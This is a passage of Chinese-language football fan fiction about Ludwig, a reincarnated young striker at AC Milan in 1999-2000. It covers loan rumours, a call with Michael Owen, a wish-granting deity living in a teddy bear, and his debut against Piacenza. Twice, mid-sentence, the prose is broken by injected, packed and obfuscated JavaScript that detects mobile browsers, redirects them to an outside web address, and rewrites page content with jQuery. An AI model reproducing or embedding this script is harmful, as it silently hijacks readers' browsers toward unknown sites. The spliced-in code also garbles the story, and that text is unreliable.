但是他去年带领AC米兰拿了联赛冠军，这个赛季米兰也是半程第一，眼看着又能拿联赛冠军，在成绩面前一切矛盾都会自动隐藏，球迷面前俱乐部还是其乐融融，天底下没有因为主教练不按照主席意愿用人就解雇的道理，传出去这都是扎切罗尼占理，是贝卢斯科尼和加利亚尼发疯。 “所以我不能去一线队吗？” 路德维希好看的眉毛皱了起来，看得桑托罗心里一颤，好像从小千娇百宠的女儿被人欺负了他身为家长还只能忍着，还得把心爱的小孩送出去避灾一样，一边是俱乐部的要求，一边是路德维希，手心手背都是肉啊——都怪扎切罗尼！ 他慌乱地把申请租借的俱乐部的文件都塞给路德维希，“好了lulu，你得自己打算，就算你去一线队应该也是米兰积分领先了，但拉齐奥和尤文图斯又追得这么紧……” 既然自己可能下个赛季首秀后就被扎切罗尼丢出去租借，还不如这个夏歇期提前找好租借的俱乐部，桑托罗是真的在为路德维希考虑，疑似被豪门新妇立威扫地出门的小可怜本人还没怎么样，他自己先要泪洒当场了。 路德维希体贴地转身离开了，桑托罗挥挥手，沉浸在他的悲伤中。 ——可是这真的好怪，路德维希心想，或许真的是他脑袋傻，如果是别的小球员遇见这种情况早就泪水洒满大西洋了，但他只是觉得要离开米兰吗？似乎也不是不行。 有哪些俱乐部想要租他呢？这个问题的答案就像是拆开盲盒一样让他兴致勃勃。 何况也不一定非得离开，不过分别对他来说并不难以接受。 也许有拜仁……他认真地想着，然后转头看见一只局促的基辅小鸟。 舍普琴科耷拉着肩膀，感觉恨不得把自己缩进墙角，好像自己不该出现在这，自己应该在地底。但是意识到路德维希终于看见他之后他反而松了一口气，倚着墙慢慢站直了，双手很忙地扯自己的衣摆又或者拍拍裤子，急得好像刚发生一场沙尘暴似的。 “……嗨？”路德维希眨眼，声音轻快，似乎完全没有被偷听了“悲惨处境”的气愤或者难为情。 倒是不小心听到的舍普琴科浑身不舒服，因为他不认识青训这边的路，所以他是跟着路德维希一直走的，但是中途他只是发了个呆，忽然出现的少年也就忽然消失了，他在偌大的建筑里乱窜，听见了说话声于是停在了房门口，他知道自己应该转身就走但是人类对于秘密的好奇让他一直站着没动…… “嗨？”他迟疑地也小声说。 路德维希也学他小声说话，用气声轻轻地说：“我们走吧，弗朗在里面哭呢。” 舍普琴科真的太有意思了，笨笨的，不像个聪明家伙，他心想。 笨笨的舍普琴科僵硬地像个木头一样跟了上来，脑子里还是刚才听见的“豪门秘闻”，他以为这种事只是在拜仁比较常见而已，全地球的球员都知道德国人贯会勾心斗角了，等等，路德维希好像是个德语名……他不知道他的胡思乱想居然神奇地和路德维希对上了。 “不要把今天的事情告诉保罗，舍瓦，拜托啦。” 舍普琴科后知后觉地反应过来这是马尔蒂尼的名字，“啊？嗯，好的。” 路德维希语出惊人：“不答应就做掉你。” 谁知这时候笨笨的舍普琴科反而立刻一本正经地回答：“是，教父！”他居然神奇地接上了这个梗。 1972年，由弗朗西斯·福特·科波拉执导，马龙·白兰度和阿尔·帕西诺主演的电影《教父》在美国上映，然后成为所有人的意大利印象。 在舍普琴科这个东欧男孩的幻想里，意大利特产就是绝世美人和风度翩翩的黑手党，而所有意大利人都会虔诚地跪下来亲吻教父的指尖，好像虔诚的基督徒会亲吻教皇一样天经地义。 现在路德维希这个意大利人，虽然性别不对，但是他的脸依然符合所有人对绝世美人的定义。他那么年轻，面容丰盈，男女之别在他的脸上还未泾渭分明，神话故事里的美少年伽倪墨得斯也就是这样了吧，难怪宙斯一定要这美少年为他日日斟酒欢饮。 ……但是路德维希居然马上就要离开意大利了。 “其实其他地方也很不错的，你看拜仁也想租借我，去了德国就能看雪了吧，”路德维希相当乐观，他挑挑拣拣，举起拜仁的租借申请，对舍普琴科晃了晃，“唔，还有伦敦的——舍瓦，你去过伦敦吗？” 舍普琴科下意识回答：“伦敦？” 他不喜欢伦敦，那是一座阴雨连绵的城市。基辅的冬天那么冷，那么潮湿，意大利的夏天又那么温暖，和那些看了无数次的碟片里一样让人迷恋。舍普琴科义无反顾地冲向世界上最好的联赛，他一无所有，除了自己，他是一定要在这里闯出一番大事业的，不然怎么对得起基辅的无数雪夜呢。 “太多雨了，我不喜欢那。” “其实雨也很好，雪也很好，米兰很好，当然夏天也很美好，”路德维希的语气好像全天下就没有不好的地方了，他好奇地问，“基辅的雪和慕尼黑有什么不一样吗？” 舍普琴科跟不上他的话了，又开始呆呆的：“我，我没去过慕尼黑啊。” “那我们之后一起去基辅吧！我去过慕尼黑，我爸爸就是在那长大的——然后我就能告诉你它们的雪有什么不一样了。” 他握住舍普琴科的手，绿色的眼睛闪闪发光。 4. 第 4 章 大英帝星迈克尔·欧文最近过得很是不顺。 去年11月，他在对阵利兹联的一场普通联赛中腿部受伤，直到今年2月才开始恢复性训练，不过英国媒体可不管他是不是刚刚伤愈复出，从他开始上场之后就一直盯着他的球场表现大做文章。 伤病下欧文的表现并不算好——但这是和他自己之前相比，现在他依然是英超最优秀的前锋之一，但英国媒体过去能把他捧成大英帝星，现在也能写“欧文如同流星一般划过了利物浦的天空，98年那个惊艳了世界的追风少年已经消失了”之类毫不留情唱衰欧文未来的话，仿佛已经看见了这颗英格兰之星陨落的将来。 于是欧文忍不住朝路德维希大吐苦水，“天呐，你肯定想不到这群媒体能说什么，我只是受伤了几个月，但他们说得好像我已经在床上躺了一辈子了，我几场比赛不进球，我就是利物浦的最大的破绽，哈？他们动过脑子吗？” 他抱着手机在自家的地毯上上蹿下跳，如果每句对英国厕报的吐槽就是一颗进球，那他已经是世界球王，大力神杯早就回家了，“别来英国，越远越好——如果一定要来，千万别去曼彻斯特！” “迈克尔你说了什么，我英语不好，你能慢点吗，”因为欧文说了太多限制级的单词，而且还掺杂了利物浦方言，路德维希其实没怎么听懂，不过最后一句他倒是听清楚了，“曼彻斯特？为什么我要去曼彻斯特。” “《太阳报》已经说了AC米兰打算下个赛季把你租出去了，那个红鼻子老头和温格为了抢你都快打起来了你不知道吗？”欧文反问他。 虽然天天骂《太阳报》造谣乱登自己的消息博取关注，但是如果话题主人公是别人就另当别论了，至少欧文是愿意去看看他的同行们又整了什么大活。 现在英超最大的笑话是曼联这个全是筛子的俱乐部被人爆料主教练弗格森打算向AC米兰租借路德维希·阿涅尔，而阿森纳也递了申请过去，然后AC米兰并没有一口回绝而是说要“考虑球员本身的意见”，看上去是真的打算把没有上场机会的小前锋租出去了。 神通广大的厕报们自然也扒出了只要俱乐部过得去，AC米兰都没有回绝租借申请的事实，比如拜仁和巴萨也在考虑之中，但是这样怎么会有卖点呢，于是大笔一挥，写“AC米兰已经和曼联达成初步意向，但阿森纳横插一脚，意大利前锋疑似降落伦敦”这种挑拨离间的东西。 在厕报的拱火之下，阿森纳和曼联就这么吵了起来，就为了路德维希该去伦敦还是曼彻斯特——其实伦敦还有一只球队切尔西也递了租借申请，不过被两方人马都毫不留情地忽视了。 自信的英格兰人完全没考虑租借目前还在洽谈中，路德维希和英格兰隔了千山万水，不一定坐着飞机飞过海峡来到大不列颠，没准飞一半就停机了，降临德国也说不准。别看他们为了欧文天天骂路德维希不值一提，区区小将！等小将真要来英国了脸色立刻就变了，小天才漂亮又有实力，他们可喜欢啦。 路德维希，你该来阿森纳/曼联啊! 欧文主动给路德维希打电话也是为了这事，虽然媒体们天天说什么王不见王，为了他两高低前后撕得不可开交，但他们两关系可好了，欧文就喜欢漂亮的人，要是长得漂亮踢球也厉害那就更喜欢了，他当初自信地找了一二三四五六个球员转了无数个弯要来路德维希的电话，开口就说我是欧文，路德维希，我对你一见钟情了！ ——当然不是这样，接电话的时候皮尔洛就在路德维希身边，他笑话欧文是毛头小子找人表白吗？他们英格兰真gay，lulu你要离这傻子远点。 其实欧文应该说的是我第一次看见你就很喜欢你，我们一定会成为好朋友。非常自信，非常耀眼，简直像是在球场上帽子戏法一样觉得世界本来就是围着自己旋转一样骄傲，而路德维希也没有把这个当成诈骗电话，因为没有人会对一个意大利人用英语诈骗，而且还用跨国电话。 “为什么你不能进一线队？”欧文语气很不客气，“我记得你俱乐部的前锋都三十多岁了，干嘛不给你让位置？” 路德维希提醒他：“舍瓦才23岁。” “但其他前锋都是老头了啊。” “迈克尔你难道想一到三十岁就打不上比赛吗？” “我跟他们都不一样，我就算到40岁也还能踢球，到时候帽子戏法的球送给你怎么样？”欧文不以为然。 他的未来光明灿烂，就算天天被厕报气得跳脚，第二天还是要装作什么都不在意，风度翩翩衣装款款地出现在聚光灯下，仿佛自己已经无坚不摧。已经用实力证明自己的人才不会被这点东西打倒，这就是英超，没有实力谁会关注你，只有巨星才有这种让人又爱又恨的待遇。 有一天你的照片不再出现在头条那才要慌，因为这代表你已经过气了，你已经踢不上球了，无人在意你。20岁的欧文一想到这些狗仔要跟着自己到40岁就觉得烦，好吧，40岁有点久，那就38吧，他挑剔地想。 路德维希被欧文逗笑了：“那你得来意甲踢球啦。” 只有意甲才会有三十多岁的前锋还在发光发热，其他联赛早就养老去了。 “所以你的俱乐部为什么不让你让去踢——”欧文还在嘀嘀咕咕，好像不能上场的是他一样。 17岁就进一线队大放光彩的欧文是没办法理解意大利人的保守谨慎的，不过迟点进一线队也好，还在发育的时候遇到伤病很容易毁掉小球员。 欧文很讨厌其他球队那些故意对着他下黑手的后卫们，没有一次比赛他不是浑身青紫的下场。不过他想到就是因为这样，路德维希才会被租借到英格兰来，心情又好了起来。 “别去曼联，别去曼联！那个红鼻子老头骂人凶死了，他们曼联的更衣室也乱的很，你去了不得天天被欺负啊，你去阿森纳了我会去伦敦找你的，我教你开直升飞机。”欧文最后说。 路德维希想象着欧文在电话另一边眉飞色舞的模样，遥远的伦敦似乎也不陌生了。至少有一个朋友愿意带他去开直升飞机，在将来的某个日子里，他们会在天上一起俯瞰整个伦敦在蒙蒙细雨里静默，欧文还会用自己利物浦口音的英语絮絮叨叨地吐槽英国狗屎的天气。 ……如果他会去英国的话。 租借的消息连英国的欧文都知道了，没道理马尔蒂尼不知道，身为AC米兰行走的旗帜，他对这只俱乐部能施加的影响是巨大的——如果他愿意的话。 马尔蒂尼已经向路德维希保证了：青训营的孩子不会去流浪。 在草原上，狮群以家族活动，成年的雄狮会负责抵御外敌，毫无疑问，保罗·马尔蒂尼是AC米兰的狮王，他将路德维希纳入了自己要守护的幼崽之一。 但路德维希并不觉得自己需要保护。 人类从古至今就热衷于斗争与鲜血，过去这样的故事发生在罗马的斗兽场，角斗士们用性命取悦看客，几千年后它转移到了足球场，换了个名义，但你死我活的内涵并没有发生改变。 在足球场这个角斗场里，只有最优秀的球员才能取悦球迷。如果你退后了，暴露了你的胆怯与不安，没有人会体谅你还只是一个小孩，一个13岁就登上国际比赛舞台并且大放异彩的人是注定要踩着别人的梦想和鲜血上位的，而路德维希已经习惯了。 熟悉路德维希的人都知道他对这个世界有自己独特的理解，大多数人在意的事情他弃之如履，比如金钱比如权利，在聚光灯下万众瞩目还不如春天的时候某户人家花园里的花开了，于是他每天都要走同一条小路就为了不错过花谢的那一刻。 在伦敦开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442986|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直升飞机，在基辅去看一场大雪落下，只要是未知的一切，他都满怀期待。 足球比赛也是如此，无关胜负，他只是享受在球场上的时光。就算有成千上万的人坐在那看他踢球，为他怒吼为他加油，鼓劲声震动大地，又或者被摧毁的人咒骂憎恨他，声音像是海啸山崩——他毫不在意。 “好想踢球啊……”他低声嘟囔着，丢开手机，任凭自己倒在大床上。 路德维希的枕头边，一只丑丑的“熊”坐在专属的小椅子上，四肢的棉花塞得很足，肚子鼓鼓，但是脑袋反而扁扁的，眼睛是两颗黑豆子，一条线当做嘴巴，全身都是深深的棕色。 如果欧文在场没准会觉得眼熟，然后拍着脑袋大叫“憨豆先生”。 因为这只熊长得跟英国知名喜剧《憨豆先生》里面的熊简直一模一样。 上辈子的路德维希从出生起就在病房，他的身体不允许他离开病床，外界对他来说虚无缥缈，精神好的时候，医生会给他带一些五颜六色的绘本，然后当做睡前故事读给他。 再大一点，他开始自己尝试阅读，但他识字不多，于是更多的时候是看视频。医生只允许他看一些安全的无害的东西，太刺激或者会引起他情绪波动的活动都被取消，大多数时间，在那间安静的病房，只有他一个人翻来覆去看着自然纪录片，温和旁白声告诉他外面的世界怎样变化。 森林里枯木逢春，小鹿在清晨的薄雾里涉水过河，世界有四大洋，鳗鲡和大马哈鱼在幼年洄游到深海成长，年老时又要千山万水地回到家乡，吃鱼的棕熊每年会在岸边等待食物到来，纪录片里更多的场景是草原，成千上万的动物们会在旱季到来时迁徙，追逐着水源翻山越岭，年老的动物们在路上死掉，刚出生的幼崽学着加入，年复一年，生死轮回。 这辈子的他是上帝保护的无数小羊之一，但路德维希是羊群里唯一的黑羊，所有小羊都幸福快乐地吃着草，只有他刨着蹄子，时刻准备着越过上帝的栏杆奔向梦中的草原。 路德维希伸手扶了扶要滑下椅子的小熊，让它继续端庄地坐好。 不管是上辈子还是这辈子，他都很喜欢《憨豆先生》这部电视剧，卡特琳娜和尤尔根发现他的爱好后，一家三口合力完成了这只憨豆熊。 卡特琳娜裁剪布料又缝好，路德维希负责给熊塞棉花，而尤尔根花了一个月，给这只熊做了全套的小床小椅子和餐桌，以便路德维希吃饭的时候，小熊也可以吃饭，他玩游戏的时候，小熊也跟着玩，晚上他们还可以盖着同样的被子一起睡觉。 这是最最厉害的过家家游戏，是一对父母对孩子最真挚的爱。 这也是上辈子的路德维希没有的。 “你不开心了。”住在憨豆熊里的神明说。 路德维希说话的时候习惯看着对方的眼睛，他曾经说神明不需要随时随地都注视他，而神明把这当做一个愿望，然后住进了玩偶里，于是只有路德维希和憨豆熊在一起的时候，神明才会说话。 祂是一个很认真很负责的神明，对路德维希的一切都很上心。 “我不开心吗，”路德维希摸摸自己的脸，“可我只是有点困惑……” 可他也不知道自己在苦恼什么。 憨豆熊有一双圆圆的黑豆眼睛，路德维希拍拍它的脸，假装自己已经把它的眼睛合上了，然后扯开小被子，让神明大人躺进自己的小床里，又给小熊捏好了被角。 “晚安，憨豆熊。”路德维希闭上眼，没在乎憨豆熊不说晚安。 希望明天醒来一切都变好了，在睡着前他迷迷糊糊地想。 而神明认真地把这当做了路德维希的愿望，因为祂承诺过，祂会亲自看顾这个人类，给他圆满的一生。 “你的愿望会实现的。”神明说，但是路德维希没有听见。 5. 第 5 章 没有人能想到半程第一的AC米兰崩盘得如此迅速。 意甲1999—2000赛季联赛第26轮，AC米兰主场迎战尤文图斯，此时米兰联赛排名暂时第一，而斑马军团只是第4，这本该是一场强强对决，两大豪门为了积分打得火花四射，但是比赛结束时比分2:0，主队在前，客队在后，米兰在主场出乎意料地被人打得找不到北了。 不过这跟米兰前锋何塞·马里开场十分钟就在一次碰撞中不慎肌肉拉伤被迫下场有关，年轻的舍普琴科在前场孤木难支，而皮耶罗和因扎吉状态火热，一人打入一球锁定了胜局。 此刻，AC米兰的主教练扎切罗尼虽然苦恼主力前锋就这么下去了，保守估计三个星期不能上场，但依然不怎么担心之后的比赛，身为豪门，米兰的板凳上有一溜的前锋，虽然都是三旬大汉了，但是省着用还是有点油的。 但是上帝似乎跟AC米兰开了一个玩笑。 联赛第27轮，AC米兰做客帕尔马又被削了个0:1,连败两轮，米兰已经掉到了第三，而拉齐奥和尤文图斯趁机上位，以微弱的优势将米兰踩在了脚下。 这场比赛前锋倒是没受伤，33岁的比埃尔霍夫仿佛青春再临，和舍普琴科搅得帕尔马的后场人仰马翻，一脚接着一脚，奈何帕尔马的小将布冯青春无敌，做出无数次天神下凡的扑救，直接把火热的前锋通通浇灭，赛后当选MVP，让人直呼门神在世。 对面门将超神，自家门将阿比亚蒂也是个青春小伙子，和布冯一起在国家队当替补门将呢，但是还是被帕尔马趁乱蒙进去一球，让人明白了为何布冯二门他三门，为了拦截克雷斯波的进球，老将阿尔贝蒂尼滑铲抽筋，上半场就下了场，安布罗西尼紧急上场替补，表现亮眼，但还是没有改变球队输球的结果。 这场比赛赛后扎切罗尼承认自己“确实在球员轮换上出现了一些差错，我们的球员太疲惫了，他们需要休息。” 是的，米兰需要休息，然后一休息就是整整一个月，直到4月22日已经连败五场，输得真是荡气回肠，惊天动地——输给尤文图斯是棋差一着，输给帕尔马是运气不好，但连挣扎在保级线的雷吉纳都能输，这算什么，哀兵必胜吗？ 最让球迷和高层无法接受的是米兰1:2输给了同城死敌国际米兰，让他们得意洋洋地从圣西罗带走了一场胜利（虽然众所周知米兰双雄的主场实际上是同一个）。 俱乐部外举着“扎切罗尼下课！”的牌子的球迷越来越多，加利亚尼开始在电视台公开表达对球队战绩的不满，直到这时扎切罗尼才是真的慌了，去年联赛夺冠的光辉从他的身上脱落，他不再被当成俱乐部的功勋教练，在糟糕的战绩面前他成了米兰的罪人。 输输输输输，AC米兰怎么一路俯冲五名开外，是不是嫌弃欧洲联赛不好玩，只肯待在意甲玩啊，现在连欧联都没得打了！国米赢了米兰德比，美滋滋上位当第四，表姐你不打欧联我打，再努力一把我去欧冠打比赛啦，你就留老家抠脚玩吧，我可不陪你。 拉齐奥尤文图斯牢牢霸占第一第二，鼓着气一路不败，已经和第三的佛罗伦萨拉开十分的差距，国际米兰和佛罗伦萨就差了两分，后来居上，没准真的能拿到最后一个欧冠席位。 死敌的成功比自己的失败更让人生气，加利亚尼又上电视台又上报纸专访，回了俱乐部还要一天三道电话夺命连环催：米兰必须要打欧冠！我们米兰可是豪门，豪门！欧联他和贝卢斯科尼可看不上的，留给国米玩玩得了。 扎切罗尼一边心里抱怨着加利亚尼不当人，一边寻思着下一场真的好好打了，还得是大胜，不然麻溜收拾行李滚回老家吧。下一场可是打皮亚琴察，正儿八经排名18，这还能输，不用球迷冲进俱乐部，他先找条河跳了。 但等他看了眼球员席，他觉得还不如找条河跳了——因为AC米兰现在伤兵满营。 后卫里，定海神针科斯塔库塔和马尔蒂尼下一场比赛都上不了场，他们没受伤，但是年纪摆在那，肌肉疲劳必须休息；中场安布罗西尼和加图索表现非常好，虽然球队在输球，但这两个替补出场的小年轻在媒体和球迷那都是有着高分，没有这两个人不要命的满场跑，AC米兰还会丢更多球。 真正让扎切罗尼要抱头尖叫觉得自己完了的是地方是前锋，顶级联赛里前锋退役年纪最早是有自己道理的，这个位置对球员的身体素质和爆发力要求最高，年轻的时候是法拉利超跑，过了三十岁管你是谁都得慢慢变成老年代步车，充电五分钟通话两小时只有梦里，球场上多的是跑了几十分钟就要报废的三旬大汉。 AC米兰的三旬大汉前锋们能填满意乙的金靴榜，客观来说，AC米兰的后半赛季崩盘是跟高层去年转会期的不作为有关系的，虽然买来的舍普琴科确实好用，但他也不能变成三个人使，那不是前锋那是拉磨的驴。 而现在只有这头乌克兰驴能驮着米兰负重前行，因为他的前锋同行们伤的伤残的残，前仆后继地躺进了米兰内洛的医疗室……简直闻者伤心见者落泪，但所有人只会怪扎切罗尼就逮着老头薅，恋老癖是吧，不会轮换是吧，你是不是故意要毁了我们AC米兰啊？ 扎切罗尼急得快要把头发都拔光，琢磨着要不然让阿亚拉临时客串前锋也不是不行，阿亚拉其人是谁呢，他曾经是个前锋，但是越踢越退后，最后干脆转行当中后卫了，谁说自家球门不算门，这也算前锋对球门的依恋吧。 现在把老本行捡起来，就当为了他扎切罗尼的栽培之恩吧！ 可惜扎切罗尼并不是天赋异禀的教练，悟不出来无锋阵这种神器，现在只好忍住和媒体和和球迷和高层对骂的想法抱头痛惜自己生不逢时，自己战术肯定没问题，没道理去年拿了冠军，今年他就过时了。 只是球员们伤病来得急匆匆，去得慢悠悠，在这种千夫所指的氛围里，只有队长马尔蒂尼能给扎切罗尼一些安慰了。 临近比赛的前两天，马尔蒂尼推开了米兰内洛主教练办公室的大门，用那双迷人的蓝眼睛，让万千少女少妇沉醉的柔和嗓音对扎切罗尼说： “阿尔贝托，你为什么不看看青训队呢？那里就有你需要的前锋。” 4月28日，在路德维希开始挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442987|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选租借俱乐部的第42天，马尔蒂尼对路德维希实现了他的承诺的第一步：还给路德维希迟到的一线队首秀。 只要路德维希进入了一线队，没人能让他离开米兰。 解决了主教练后，进入一线队的事情板上钉钉不容改变了，就算是加利亚尼不满马尔蒂尼对球队施加影响也只能保持沉默，何况球队确实需要路德维希，难道真要AC米兰凑不出前锋去输保级队？这人丢大发了，隔壁国米能笑米兰一整年，他丢不起这个人。 主席贝卢斯科尼知道自己看好的路德维希要进入一线队后终于对扎切罗尼这头犟驴有了好脸色，表示自己比赛当天会来圣西罗观战，对外表示依然愿意相信扎切罗尼，他是我们的功勋教练云云。而马尔蒂尼亲自去见路德维希，打算叮嘱他一些关于更衣室的事情。 青训营里，路德维希正在球场上一个人玩着足球。 这不算是练习，因为他只是漫不经心地用脚挑球玩，像是杂技表演一样。 黑白色的足球轻快地飞到他的肩膀，他一耸肩，球落下去，又被膝盖一弹，掉在他金灿灿的脑袋上，他像是水族馆里表演的水獭，兴高采烈地顶着球玩，只是球场上没有观众为他出色的球感鼓掌，但他自娱自乐也很开心。 一只丑丑的玩偶熊坐在球场边，屁股下是摊开的训练服外套，它是路德维希表演的唯一观众。 一直关注着青训营，经常会去看路德维希比赛的马尔蒂尼知道那是小前锋的憨豆朋友，如果前锋都有怪癖，那路德维希的怪癖就是会带着小熊来比赛，马尔蒂尼曾经还帮上场的路德维希抱过这只熊。 他走过去提起熊，又拍拍外套上的草屑，把它搭在臂弯里，然后招手示意路德维希过来，告诉他他要进一线队的好消息。 “我要进一线队了？”路德维希挠挠自己带着红晕的脸蛋，第一反应居然是立马看了眼马尔蒂尼手里的憨豆熊。 和你有关系吗？他在心里问神明。 你会度过顺遂的一生，憨豆熊平静地说，如果你向我许愿，你会成为真正的胜利化身，你要向我许愿吗？ 这是路德维希早已拒绝过的提议，但神明依然困惑他为什么再一次拒绝。 路德维希和马尔蒂尼并肩朝球场外走去，随手接过憨豆熊，他一只手抱着足球，然后马尔蒂尼就看着他幼稚地用另一只手开始戳熊的脸。 “你不要担心，我和比利都会照顾你的……”说到一半，马尔蒂尼说不下去了，因为被叮嘱的对象不仅没担心害怕，反而兴致勃勃，都还有空玩玩偶呢，路德维希看上去已经迫不及待进入一线队，要征服圣西罗了。 已经不必多说了，路德维希是米兰的孩子，在AC米兰没有人会拒绝他。 剩下的嘱咐在唇齿之间被咽下，马尔蒂尼不想自己像个讨人嫌的老头似的追着小男孩絮絮叨叨，只好摸了摸路德维希脑袋，带着点抱怨地说： “走吧，我的绿眼睛男孩。” 马尔蒂尼不像狮子那样威风凛凛了，他变成一只牧羊犬，小心又温和地要守护他的绿眼睛小羊在草场上自由自在地奔跑了。 6. 第 6 章 球场的灯光让人目眩神迷，球迷们的狂欢声像是浪潮，涌动着要把每个球员都托举飞上意甲最好的黄金时代。 路德维希想起欧文跟他说过的世界杯赛场，那是每个球员都梦寐以求的圣地，即使过了两年，欧文每次回忆起还是会沉迷在那场梦幻的比赛中，风声猎猎，他一球成名。千万人狂热地呼喊他的名字，在那一刻，迈克尔·欧文就是世界上最好的球员，没有人能追上他和他并肩。 “transcendent,”欧文说，但他立刻又改口，“no,no......Once-in-a-lifetime!” 一生一遇。 而每次比赛对路德维希来说都是“Once-in-a-lifetime”。 双方球员列队入场，裁判鸣哨一声，比赛正式开始。 在比赛刚开始的前十分钟，占据主动权的一方居然是皮亚琴察，虽然能在意甲摸爬滚打的球队都不是什么好捏的柿子，但AC米兰目前联赛第五，皮亚琴察排名十八，在大多数人的设想里米兰就算伤病满营，今天上场的不是老头就是小孩，但也要拿出争冠球赛的气势来，哪能被压着打。 不过这一切都在扎切罗尼的意料之中，今天AC米兰采用了保守的442阵容，路德维希和舍普琴科出任前锋，加上中场加图索和安布罗西尼，以及门将阿比亚蒂，这是一只不折不扣的青年军。 而对面皮亚琴察平均年龄逼近30岁，在场球员都是老油条了，如果面对AC米兰一个月前的阵容，他们肯定缩在自家半场打，但是现在米兰五连败，连带着他们的心也飘了起来，看着满场小娃娃，满脑子都是“趁他病要他命”。 开场第二十八分钟，米兰传球失误，球被皮亚琴察的中场科博截下，他抬头扫视一圈，己方的前锋正在被加图索逼迫站位，只有右路一片坦途，另一名中场戴利科林一边大喊一边前压，他立即利落地出球，米兰防守的球员姗姗来迟，只能看着足球飞远。 “科博传球，球找上了戴利科林，米兰能抢断吗——完美的撞墙配合！米兰的38号该反省了，这是不该有的错误……” 站在解说的上帝视角，这是非常漂亮的一个撞墙配合，你来我往之间，足球已然落入米兰的半场，而皮亚琴察的球员显然并不满足于此，他们像是冲击的骑兵吹动了号角，客场球衣的蓝色把米兰的红黑撕得七零八落，仿佛主客颠倒。 足球是圆的，不是哪一方的身价高就一定会获胜。狮子搏兔亦用全力，但AC米兰今天只是只虚弱的病猫。 转播视角对准了在场边气得大喊“狗屎”的扎切罗尼，因为太愤怒了他甚至忘记挡住嘴，不用解说特意解释，所有人都知道他在骂骂咧咧，毫无豪门主教练的风度。 “哈，看起来这一幕并不在扎切罗尼的预料之中，”解说幽默地说，“也许他还活在上个月呢。” 虽然这次进攻没有转化成进球，但它却是比赛进行到现在的缩影，AC米兰的门线风声鹤唳，红黑色狼狈地聚在自家半场，听着场边扎切罗尼的大骂进行防守。 在防守的球员里，背号“16”的路德维希无疑是最受关注的那一个。 “虽然我们的小天才没能站出来解救球队，但至少他听话不是吗，扎切罗尼的大骂看上去非常管用，我希望你们能想象因扎吉去防守的样子，如果想象不了，那就抬头看看路德维希……” “——路德维希抢断了！天呐，他怎么做到的？！” 解说的声音突然提高了八度，因为他看见路德维希在飞奔！皮亚琴察的中场本来在向左跑动，足球被他的队友传了过来，AC米兰的后卫们立刻向后移动预防下一次传球，但刚才还被解说抱怨的路德维希却突然启动了，众所周知球比人快，没人想要去追球，但他不需要超过足球，他只要比对方更快！ 路德维希后发先至，领先半个身位勾到了足球，皮亚琴察的15号中场目瞪口呆，不过身体依然本能地撞了上去，要给这个小子一点教训，但路德维希稳稳地站在原地，他甚至不回头看一眼自己的对手，不停球直接大脚踢出足球。 所有人的目光不由自主地跟着足球移动，这是一个非常漂亮的弧度，朝着皮亚琴察空虚的半场飞去。 “虽然对方半场没人，但AC米兰也没人在对面，路德维希这是踢疵了吗？还是说他要中场吊射，可看上去力气也不够……”场上皮亚琴察的门将也知道这球进不了，还在不慌不忙地等着球。 直到导播将视角转移到右边路，AC米兰的七号球员迎风奔跑，金棕色的短发无比眼熟。 解说立刻大叫，“舍普琴科什么时候启动的？！皮亚琴察的防守球员怎么可以让他启动？！” 不少电视机前的球迷已经忍不住打电话投诉这名解说过于高昂的声线了，他简直要向所有人展示他超高的肺活量一样，一刻不停大声地解说着AC米兰的这次进攻： “好！舍普琴科射门——太可惜了，皮亚琴察的防守球员回位太及时了，这次起脚太仓促了，直接被门将扑了出来……” 差点面对单刀的门将抱着球大骂后卫，被骂的队友根本不敢还嘴，舍普琴科只能一脸郁闷地看着对方门将用力抡了一脚，球直接飞往中场。他挠挠头，对某个方向大喊了一声，也开始跑动起来。 “舍普琴科这是在和谁说话吗？”镜头稍稍追踪了一下，又一个金发的漂亮球员出现在镜头里，路德维希正好回头朝着舍普琴科挥了挥手。 如果刚才球进了，那就该是路德维希助攻舍普琴科了。 “但是路德维希怎么知道舍普琴科会提前跑起来？”解说困惑地自言自语。 普通的球迷们会追着足球看，在上帝视角上一瞬间攻防转换他们却不知道为什么，只有真正站在球场上用脑子踢球的球员才能意识到转瞬之间的机会。 路德维希当然不知道舍普琴科会提前跑起来。 他只是觉得如果是自己的话，他会跑到那里的，这是一种预感，顶级前锋在球场上的视野往往超出所有人的想象。 被誉为“禁区之狐”的前锋因扎吉是毫无疑问的机会主义者，别人只能想到两三步之后，他却能凭借本能超出常人六七步，大多数人都跟不上他的节奏，只能被他抛在身后。 舍普琴科也是顶流的前锋，不需要言语交流不需要眼神对视，他直接奔着路德维希一定会传去的位置而去，他相信lulu。 而那个时候解说还在震惊路德维希的突然爆发，没人注意到舍普琴科也是突然启动，挣开了对面的后卫。 扎切罗尼又老神在在了。 好歹是豪门主教练，他也不是没有点墨水在肚子里的，他立刻意识到了舍普琴科和路德维希的配合简直浑然天成，像是住在彼此脑子里那样同步。 路德维希是比赛开始的前两天才被带进一线队训练，在马尔蒂尼和科斯塔库塔一群球队大佬的亲热对待下，他在一线队的更衣室里就像是回了自己家一样，但球场上的配合可不是看关系有多好。 尤其路德维希还是个没上过意甲的新人，队内训练里表现好不代表上了赛场还这样，对面的后卫可不会放过他，发挥能有一半就不错了，扎切罗尼就这么在“相信他”“质疑他”里犹犹豫豫，最后的战术相当保守，以防守为主，如果有机会就靠舍普琴科偷一个进球吧，不输就是胜利！ 